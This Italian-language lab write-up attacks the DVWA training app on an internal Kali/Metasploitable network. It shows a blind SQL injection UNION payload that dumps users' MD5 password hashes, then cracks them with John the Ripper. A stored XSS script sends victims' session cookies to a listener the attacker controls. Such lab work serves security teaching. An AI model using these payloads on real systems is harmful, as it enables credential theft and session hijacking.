WEB APPLICATION HACKING

Dopo aver appurato che le due macchine Kali e Metasploid siano connesse nella **rete interna** vado a configurare la sicurezza dell'applicazione DVWA a livello **LOW**.



SQL INJECTION (BLIND)

Recuperare le password in SQL Injection (Blind) è un po' più comlicato rispetto alla modalità non blind, in quest'ultimo caso un utente maleintenzionato riceve un messaggio di errore quando tenta di sfruttare un'applicazione web, nella modalità Blind questo non succede

Infatti se usiamo la stringa ' **UNION SELECT user, password FROM users #** usata con esito positivo nella modalità non blind, ora non dovrebbe dare nessun risultato (in questo caso però c'è un bug e abbiamo comunque il risultato, fingiamo non ci sia il bug).

Se invece usiamo la stringa **1'UNION SELECT user, password FROM users#** otterremo un elenco composto dal pirmo ID (in riferimento all'**1** della stringa) e poi gli altri, in quanto se la prima query è VERA otterremmo sicuramento anche la risposta alla sesconda query malevola. Sfruttiamo quindi la vulnerabilità dell'id numerico.

Home	Vulnerability: SQL Injection (Blind)
Instructions	User ID:
Setup	
Brute Force	ID: 1'UNION SELECT user, password FROM users# First name: admin Surname: admin ID: 1'UNION SELECT user, password FROM users# First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ID: 1'UNION SELECT user, password FROM users# First name: gordonb Surname: e99a18c428cb38d5f260853678922e03
Command Execution	
CSRF	
File Inclusion	
SQL Injection	
SQL Injection (Blind)	
Upload	
XSS reflected	ID: 1'UNION SELECT user, password FROM users# First name: 1337
XSS stored	Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
	TD: 1'UNION SELECT user password FROM users#

PHP Info

About

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Andiamo a creare un file di testo con le password criptate in hash ottenute, chiamandolo passw_b

```
(kali@kali)-[~/Desktop]
$ cat passw_b
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
```

Adesso, usando **John the Ripper** andiamo a decripttare le password, dopo una prima prova andiamo a specificare il formato **raw-md5**, infine con il comando **--show otteniamo l'elenco delle password decriptate**

```
-(kali@kali)-[~/Desktop]
 __s john passw_b
Warning: detected hash type "LM", but the string is also recognized as "dynamic=md5($p)" Use the "--format=dynamic=md5($p)" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "HAVAL-128-4" Use the "--format=HAVAL-128-4" option to force loading these as that type instead Warning: detected hash type "LM", but the string is also recognized as "MD2"
Use the "--format=MD2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mdc2"
Use the "--format=mdc2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mscash"
Use the "--format=mscash" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mscash2"
Use the "--format=mscash2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD4" Use the "--format=Raw-MD4" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5"
Use the "--format=Raw-MD5" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5u"
Use the "--format=Raw-MD5u" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "ripemd-128" Use the "--format=ripemd-128" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Snefru-128"
Use the "--format=Snefru-128" option to force loading these as that type instead Warning: detected hash type "LM", but the string is also recognized as "ZipMonster" Use the "--format=ZipMonster" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 10 password hashes with no different salts (LM [DES 256/256 AVX2])
Warning: poor OpenMP scalability for this hash type, consider -- fork=4
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Crash recovery file is locked: /home/kali/.john/john.rec
     -(kali⊗kali)-[~/Desktop]
 s john — format=raw-md5 passw_b
Using default input encoding: UTF-8
```

```
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8×3])

No password hashes left to crack (see FAO)

(kali@kali)-[~/Desktop]

$ john — show — format=raw-md5 passw_blind

?:password
?:abc123
?:charley
?:letmein
?:password
```

XSS STORED

Recuperare i cookie di sessione delle vittime del XSS stored ed inviarli ad un server sotto il controllo dell'attaccante

Andiamo a fare delle prove ci si accorge che il box del messaggio non può contenere molti caratteri, andando ad ispezionare possiamo aumentare il numero di caratteri, impostiamo 500

adesso possiamo inserire lo script per far inviare i cookie ad un nostro server

```
<script>
var i=new Image ();
i.src="http://127.0.0.1/log.php?q="+document.cookie;
</script>
```

Mettiamo Netcat in ascolto sulla porta 80 e vediamo i cookie di sessione